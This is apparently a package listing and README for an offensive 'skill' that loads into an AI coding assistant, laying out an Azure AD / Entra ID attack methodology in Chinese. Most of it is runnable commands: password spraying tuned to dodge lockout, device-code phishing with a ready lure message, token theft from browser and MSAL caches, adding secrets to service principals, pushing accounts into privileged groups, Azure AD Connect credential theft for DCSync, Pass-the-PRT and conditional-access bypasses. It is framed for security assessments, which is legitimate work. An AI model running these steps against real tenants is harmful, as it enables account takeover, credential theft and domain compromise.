About azure-ad-attack
An offensive-security skill for examining Azure AD and Entra ID attack paths, from initial access through privilege escalation and lateral movement. It organizes techniques, commands, and tool references for security practitioners conducting assessments.
Key features
- 01Initial access and token attack guidance
- 02Azure AD enumeration workflows
- 03Privilege escalation and lateral movement paths
- 04Conditional Access bypass techniques
- 05Quick reference to security tools
Use cases
- 01Assessing Azure AD exposure during a security review
- 02Tracing possible privilege escalation from discovered permissions
- 03Reviewing token-based access and lateral movement risks
Install
Copy the command and run it in a terminal.
$
npx skills add https:/ / github.com/ wgpsec/ aboutsecurity --skill azure-ad-attackAfter installing, type/azure-ad-attackin Claude Code to confirm it loaded.
Bundled filesreferences/app-abuse.mdreferences/token-attacks.md
Details
From the project READMEAzure AD / Entra ID 攻击方法论
定位:从攻击者视角利用 Azure AD 的信任关系、令牌机制和配置缺陷实现横向移动和权限提升
⛔ 深入参考
- Token 窃取与刷新攻击详细流程 → references/token-attacks.md
- Service Principal 与应用注册滥用 → references/app-abuse.md
Phase 1: 初始访问
1.1 Password Spray(Azure AD)
# MSOLSpray — Azure AD 密码喷洒
python3 MSOLSpray.py --userlist users.txt --password 'Spring2024!' \
--url https://login.microsoftonline.com
# Ruler — Exchange/O365 密码喷洒
ruler --domain target.com brute --users users.txt --passwords pass.txt
# Trevorspray — 分布式喷洒(绕过 Smart Lockout)
trevorspray --users users.txt --passwords passwords.txt \
--url https://login.microsoftonline.com \
--delay 30 --jitter 10
# ⛔ Azure AD Smart Lockout: 默认 10 次失败/60s
# 策略: 每用户 1-2 次尝试,间隔 > 60s,使用不同 IP
1.2 Phishing(Device Code / Consent Grant)
# Device Code Phishing — 不需要目标输入密码
# 1. 获取 device code
curl -X POST https://login.microsoftonline.com/common/oauth2/devicecode \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&resource=https://graph.microsoft.com"
# 2. 发送 device code 给目标(通过钓鱼邮件)
# "请访问 https://microsoft.com/devicelogin 并输入代码: XXXXXXXXX"
# 3. 目标输入代码后,攻击者获取令牌
curl -X POST https://login.microsoftonline.com/common/oauth2/token \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&code=DEVICE_CODE"
1.3 Token 提取(已控主机)
# 从浏览器提取 Azure AD Cookie/Token
# Chrome: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies
# Edge: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cookies
# 从 TokenCache 提取
# Windows: %LOCALAPPDATA%\.IdentityService\msal.cache
# macOS: ~/Library/Group Containers/*.Office/MicrosoftRegistrationDB.reg
# 使用 AADInternals
Import-Module AADInternals
Get-AADIntAccessTokenForMSGraph # 获取 Graph API token
Phase 2: 枚举与信息收集
# AzureHound — BloodHound 的 Azure 版本
azurehound list -u [email protected] -p 'password' --tenant target.onmicrosoft.com -o output.json
# ROADtools — Azure AD 完整枚举
roadrecon auth -u [email protected] -p 'password'
roadrecon gather
roadrecon gui # Web UI 浏览结果
# Microsoft Graph API 枚举
# 用户列表
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/users?\$select=displayName,userPrincipalName,accountEnabled"
# 组成员
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/groups?\$filter=displayName eq 'Global Admins'&\$expand=members"
# 应用注册
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/applications"
# Service Principals
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/servicePrincipals"
Phase 3: 权限提升
3.1 Service Principal 密钥添加
# 如果有权限给 Application 添加凭据
# Application.ReadWrite.All 或 Application 的 Owner
# 前置:先确认自己是不是这个 App 的 Owner
Get-MgApplicationOwner -ApplicationId <application-object-id>
# 添加 Password Credential
curl -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
"https://graph.microsoft.com/v1.0/applications/{app-id}/addPassword" \
-d '{"passwordCredential":{"displayName":"backup"}}'
# PowerShell cmdlet 形态(返回值里的 SecretText 只回显一次,不记就没了)
Add-MgApplicationPassword -ApplicationId <application-object-id> `
-PasswordCredential @{ displayName = "backup" }
# 等价的服务主体形态
Add-MgServicePrincipalPassword -ServicePrincipalId <sp-object-id> `
-PasswordCredential @{ displayName = "backup" }
# 使用新密码以 Service Principal 身份登录
curl -X POST "https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token" \
-d "client_id={app-id}&client_secret={new-secret}&scope=https://graph.microsoft.com/.default&grant_type=client_credentials"
# 收尾:用完把加的凭据删掉(失败重试时最容易留下一堆 backup-cred)
Remove-MgApplicationPassword -ApplicationId <application-object-id> -KeyId <key-id>
3.2 组成员注入
组本身没权限不要紧 —— 看它挂的是哪个目录角色。
# 看 group 的 Owner:Owner 可改成员,是最省事的入口
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/beta/groups/<group-id>/owners"
# 把自己或控制的账号塞进高权限组
New-MgGroupMember -GroupId <group-id> -DirectoryObjectId <把自己/受控对象的 object-id>
# Azure 侧同一套思路:改 RBAC 分配(需要 Microsoft.Authorization/roleAssignments/write)
az role assignment create --assignee <object-id> --role Owner \
--scope /subscriptions/<subscription-id>
回收:Remove-MgGroupMember -GroupId <gid> -DirectoryObjectId <oid>;RBAC 用 az role assignment delete。3.1 与本节都会在 Entra ID 审计日志里留下 Add member to group / Add service principal credentials 记录,这条清不掉。
3.3 Consent Grant 攻击
# 创建恶意应用 → 诱骗管理员授予高权限
# 如果有 Application Administrator 角色:
# 直接给应用授予 admin consent
# 检查已有高权限应用
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/oauth2PermissionGrants?\$filter=consentType eq 'AllPrincipals'"
3.4 PIM (Privileged Identity Management) 激活
# 如果用户有 eligible 角色但未激活
# 使用 AADInternals 或 Graph API 激活
# 列出可激活的角色
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/beta/roleManagement/directory/roleEligibilityScheduleRequests"
Phase 4: 横向移动
Azure → On-Premises
Azure AD Connect 同步账户:
├─ MSOL_<installationID> — 拥有域中 DCSync 权限
├─ 获取 Azure AD Connect 配置数据库中的凭据
├─ 使用 AADInternals: Get-AADIntSyncCredentials
└─ 用该凭据 DCSync 整个域
Pass-the-PRT (Primary Refresh Token):
├─ 从已 Azure AD Join 的设备提取 PRT
├─ 使用 PRT 访问所有 Azure AD SSO 资源
├─ 工具: ROADtoken, RequestAADRefreshToken
└─ 可绕过条件访问策略(已信任设备)
On-Premises → Azure
如果拥有 On-Prem 的 Azure AD Connect 服务器:
├─ 提取 MSOL 凭据 → 可修改任何 synced 用户的密码
├─ 通过 ADSync 数据库获取云管理员密码
└─ Golden SAML: 控制 AD FS → 伪造任何用户的 SAML token
Phase 5: 条件访问绕过
常见绕过方式:
├─ Device Code 流程 — 某些策略不覆盖 device flow
├─ Legacy Authentication — 旧协议可能不受 CA 限制
├─ 不同 Client ID — 使用非浏览器客户端(Azure CLI/PowerShell)
├─ Trusted Location 滥用 — 如果从已信任 IP 访问
└─ 合规设备伪造 — PRT 中的设备声明
工具速查
| 工具 | 用途 |
|---|---|
| AzureHound | Azure AD 攻击路径发现 |
| ROADtools | 完整 Azure AD 枚举 |
| AADInternals | Azure AD 利用框架 |
| TokenTactics | Token 操作与刷新 |
| MSOLSpray | 密码喷洒 |
| GraphRunner | Graph API 交互 |
| Trevorspray | 分布式喷洒 |
Comments
Markdown supported